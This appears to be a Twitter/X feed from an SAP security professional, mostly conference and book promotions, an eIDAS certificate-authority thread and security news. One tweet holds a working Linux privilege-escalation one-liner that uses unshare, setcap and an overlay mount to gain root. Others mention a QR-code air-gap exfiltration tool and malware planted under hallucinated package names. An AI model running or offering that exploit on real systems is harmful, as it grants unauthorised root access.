Frederik Weidemann

SAP Security & IT Security. All tweets are my own :-).

[Frederik Weidemann @insert_report]

Yeehaw! 🤠 Claim your ground in the Wild Wild West @_DSAG Jahreskongress 2026 in Cologne! 🌐✨
​Let me know if you’re there too – would love to connect, exchange ideas, and catch up! 🤝
​#DSAGJK26 #DSAG #SAP #Networking

[Nicolas Krassas @Dinosn]

I built an open-source library of 700+ cybersecurity skills for AI coding agents -- covers DFIR, threat hunting, cloud security, and more https://t.co/vM5SgmXCrO

[No Starch Press @nostarch]

If you can learn to read, you can learn to hack.

[No Starch Press @nostarch]

Information wants to be free and your firewall wants to argue about it 🙄

[Vahagn Vardanian @vah_13]

🚨 Limited Offer! 🚨 Master SAP Security for FREE!

Our "SAP Security Core Concepts" course on Udemy is now available. First, 100 students learn for free!

🔒Enhance your cybersecurity skills 🏆BlackHat conference material 🆓Use code: REDRAYS-SAP-SECURITY

https://t.co/80MXxnQQvQ

[James Forshaw @tiraniddo]

This new book has finally arrived. Thank's to @nostarch as well as @billpollock for making it happen as well as @Lee_Holmes as my tech reviewer.

[nixCraft 🐧 @nixcraft]

How SSH port became the default TCP/22
https://t.co/2kTJ9Ga1Et #linux #unix #history

[Adam Ježek 🦔 má konečně semafor 🚦🚦🚦 @adamjezek98]

Playing snake on @Ubiquiti Etherlighting switch.

Most expensive gaming console I own. Game selection is pretty limited due to the poor resolution. They went overkill on ethernet connectivity but forgot about other ports, I can't even plug in my gamepad. But it has RGB. 9/10

[Massimo @Rainmaker1973]

This is called the Coffer illusion.

In this image there are 16 circles. Can you find them?

[Epic Maps 🗺️ @theepicmap]

99.999% will fail 🧐

[Ryan Hurst @rmhrisk]

Did you know there are approximately 85 organizations authorized to issue TLS certificates for the web today? Or that seven of them issue 99% of all certificates currently in use? The presence of the others is largely intended to accommodate web openness and national sovereignty—an admirable goal, albeit one that introduces a significant attack surface for every web user.

But were you aware that the recent eIDAS legislation, that was just signed, will obligate browsers to trust all QWAC-approved CAs listed on the EU Trust List (https://t.co/u4bVuwk7VM)? To illustrate, Spain has 13 CAs approved to issue these certificates and there are 27 member states in the EU. Additionally, did you know the legislation will not permit browsers to remove of CA with a history of repeated incompetence without government approval?

The most famous of all CA distrust events was an EU CA known as DigiNotar, and those in the PKI space might say that 12 years ago and today, the Conformity Assessment Bodies would have caught that and dealt with it proactively. But is that true? Check out the history of Camerfirma (https://t.co/bZS7PyDIjC) and wonder why an organization with such poor operational practices that the internet isn't dependent on is still trusted by anyone? Then ask why the associated CAB still lets it be approved as a CA for issuance.

For those who say that the web doesn't need Browsers for such actions, consider this recent incident involving a Turkish CA (https://t.co/hD02PhjzrD). And for those who doubt governments would use CAs to gain visibility into web traffic, take a look at this case where a French CA was doing just that: https://t.co/Vfhg9PgysR.

Supposedly the final text has a recital that was added to the language to suggest that the scope of these requirements is to be limited to trusting these CAs for identity information and not the domain but the document is still private so we don't know for sure. Even if true recitals are not binding and the bill has other issues, for example, it requires browsers to reinstate user interface that has been proven to be harmful and misleading to users. https://t.co/d91GP7Hzi6.

It also prevents the Browsers from establishing additional requirements for the CAs above and beyond what is included in the associated EU legislation, for example, they won't be subject to https://t.co/iBPofnGD6k which has helped catch many many issues. All this means calcifying the web making it impossible to move forward without legislative change and leaving the web less secure at the same time. Change will now be governed by regulators, lobbyists, and standards boffins that either benefit from this weakening of the web or have no accountability for its consequences.

There are 195 sovereign nations in this world. each would love to be in a position to observe everything their citizens and everyone who interacts with them does. When the world's most liberal and democratic governments put into place the tools to enable mass surveillance and weaken internet security in this fashion what makes us think the rest won't as well.

[Florian Roth ⚡️ @cyb3rops]

So, the security of your employees' private Google accounts now determines the effectiveness of your MFA. I guess it's a good idea to routinely check their Google accounts on https://t.co/GXEvWgxBe5 - haha

https://t.co/94y9rWZAVc

[liad eliyahu @liadeliyahu]

Exploit is so easy it fits in a tweet🔥
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

[Thomas Jung @thomas_jung]

ABAP Platform Trial as Docker Image - now available!
https://t.co/9dNppOCKiZ

[Enno Rey @Enno_Insinuator]

It was a matter of time...
https://t.co/0koEWY0IJI

[LLM Security @llm_sec]

* People ask LLMs to write code
* LLMs recommend imports that don't actually exist
* Attackers work out what these imports' names are, and create & upload them with malicious payloads
* People using LLM-written code then auto-add malware themselves

https://t.co/Va9w18RpWu

[Aleksandr Volodarsky @volodarik]

Sunday read.

This is hilarious. Engineers are competing who creates the worst UI on Reddit.

I think the winners are:

1/ Enter your phone number

[HackGit @hack_git]

QRExfiltrate

This tool is a command line utility that allows you to convert any binary file into a #QRcode movie. The data can then be reassembled visually allowing exfiltration of data in air gapped systems.

https://t.co/q7ZYStHNZr

[John Hammond @_JohnHammond]

MS-MSDT "Follina" Office click-to-hack.